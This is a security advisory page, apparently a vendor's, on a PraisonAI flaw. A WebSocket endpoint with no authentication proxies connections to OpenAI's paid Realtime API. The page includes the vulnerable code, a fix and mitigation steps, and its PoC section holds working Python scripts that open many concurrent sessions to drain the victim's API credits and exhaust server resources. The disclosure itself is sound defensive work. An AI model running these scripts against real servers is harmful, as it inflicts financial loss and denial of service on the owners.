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GHSA-q5r4-47m9-5mc7

HIGH

GHSA-q5r4-47m9-5mc7 is a high-severity (CVSS 7.5) CWE-770 vulnerability in praisonai. O3 Security confirms whether GHSA-q5r4-47m9-5mc7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits

Also known asCVE-2026-40116PYSEC-2026-2920
Published
Apr 10, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits.

Details

The vulnerability exists in src/praisonai/praisonai/api/call.py. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting:

# line 108-112 — no auth, no middleware, accepts any WebSocket client
@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    """Handle WebSocket connections between Twilio and OpenAI."""
    print("Client connected")
    await websocket.accept()

Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's OPENAI_API_KEY:

# line 114-120 — each unauthenticated connection spawns a paid API session
    async with websockets.connect(
        'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01',
        extra_headers={
            "Authorization": f"Bearer {OPENAI_API_KEY}",
            "OpenAI-Beta": "realtime=v1"
        }
    ) as openai_ws:

The receive_from_twilio() coroutine then reads unlimited messages and forwards them directly to OpenAI:

# line 128-135 — unbounded message ingestion, no size/rate check
                async for message in websocket.iter_text():
                    data = json.loads(message)
                    if data['event'] == 'media' and openai_ws.open:
                        audio_append = {
                            "type": "input_audio_buffer.append",
                            "audio": data['media']['payload']
                        }
                        await openai_ws.send(json.dumps(audio_append))

The server binds to 0.0.0.0 (line 273) and can be exposed to the internet via ngrok (--public flag). Twilio's RequestValidator is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the X-Twilio-Signature header, which is absent here.

Additionally, uvicorn.run() is called without a ws_max_size parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption.

PoC

# Step 1: Verify the endpoint is accessible and accepts connections
python3 -c "
import asyncio
import websockets
import json

async def test():
    async with websockets.connect('ws://TARGET:8090/media-stream') as ws:
        # Send a start event (mimicking Twilio)
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': 'attacker-session-1'}
        }))
        # Send a media event — this gets forwarded to OpenAI Realtime API
        await ws.send(json.dumps({
            'event': 'media',
            'media': {'payload': 'SGVsbG8gV29ybGQ='}
        }))
        # Receive the OpenAI response routed back
        response = await asyncio.wait_for(ws.recv(), timeout=10)
        print('Received response (confirms OpenAI session active):', response[:200])

asyncio.run(test())
"

# Step 2: Demonstrate resource exhaustion — open multiple concurrent connections
# Each connection spawns an OpenAI Realtime API session billed to the server owner
python3 -c "
import asyncio
import websockets
import json
import base64

async def open_session(i):
    uri = 'ws://TARGET:8090/media-stream'
    async with websockets.connect(uri) as ws:
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': f'attacker-{i}'}
        }))
        # Send audio data to keep the OpenAI session active and billing
        payload = base64.b64encode(b'\\x00' * 8000).decode()  # ~8KB audio chunk
        for _ in range(100):
            await ws.send(json.dumps({
                'event': 'media',
                'media': {'payload': payload}
            }))
            await asyncio.sleep(0.01)
        print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy')

async def main():
    # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits)
    await asyncio.gather(*[open_session(i) for i in range(10)])

asyncio.run(main())
"

Replace TARGET with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session.

Impact

  1. OpenAI API credit drain: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful.

  2. Denial of service: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections.

  3. Server memory exhaustion: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads.

Recommended Fix

Add Twilio signature validation, connection limits, and rate limiting:

from twilio.request_validator import RequestValidator
from starlette.websockets import WebSocketState
import time

# Connection tracking
MAX_CONCURRENT_CONNECTIONS = 20
active_connections = 0
connection_lock = asyncio.Lock()

TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN')

@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    global active_connections
    
    # Enforce connection limit
    async with connection_lock:
        if active_connections >= MAX_CONCURRENT_CONNECTIONS:
            await websocket.close(code=1008, reason="Too many connections")
            return
        active_connections += 1
    
    try:
        # Validate Twilio signature if auth token is configured
        if TWILIO_AUTH_TOKEN:
            validator = RequestValidator(TWILIO_AUTH_TOKEN)
            url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://")
            signature = websocket.headers.get("X-Twilio-Signature", "")
            if not validator.validate(url, {}, signature):
                await websocket.close(code=1008, reason="Invalid signature")
                return
        
        await websocket.accept()
        # ... rest of handler ...
    finally:
        async with connection_lock:
            active_connections -= 1

Additionally, pass ws_max_size to uvicorn to limit individual message sizes:

uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576)  # 1MB

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.5.128

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q5r4-47m9-5mc7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-q5r4-47m9-5mc7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-q5r4-47m9-5mc7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `/media-stream` WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. ## Details The vulnerability exists in `src/praisonai/praisonai/api/call.py`. The FastAPI application defines a WebSocket endpoint at line 108
O3 Security · Impact-Aware SCA

Is GHSA-q5r4-47m9-5mc7 in your dependencies?

O3 detects GHSA-q5r4-47m9-5mc7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.